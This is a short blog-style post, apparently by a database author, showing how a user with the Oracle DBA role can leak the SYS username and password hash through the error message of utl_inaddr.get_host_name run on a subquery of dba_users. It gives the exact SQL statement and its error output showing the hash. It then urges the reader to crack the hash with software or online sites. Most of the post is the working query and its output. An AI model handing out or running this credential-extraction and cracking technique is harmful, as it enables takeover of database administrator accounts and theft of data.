Sometimes you want to know the SYS password with simplest way, well check the below if you have any User with DBA role then you can do that :
SQL> select utl_inaddr.get_host_name((select username||’=’||password from dba_users where rownum=1)) from dual;
select utl_inaddr.get_host_name((
*
ERROR at line 1:
ORA-29257: host SYS=8A8F025737A9097A unknown
ORA-06512: at “SYS.UTL_INADDR”, line 4
ORA-06512: at “SYS.UTL_INADDR”, line 35
ORA-06512: at line 1
Now You can use any Software or Online Site to Hack This Password
Thank you
Osama Mustafa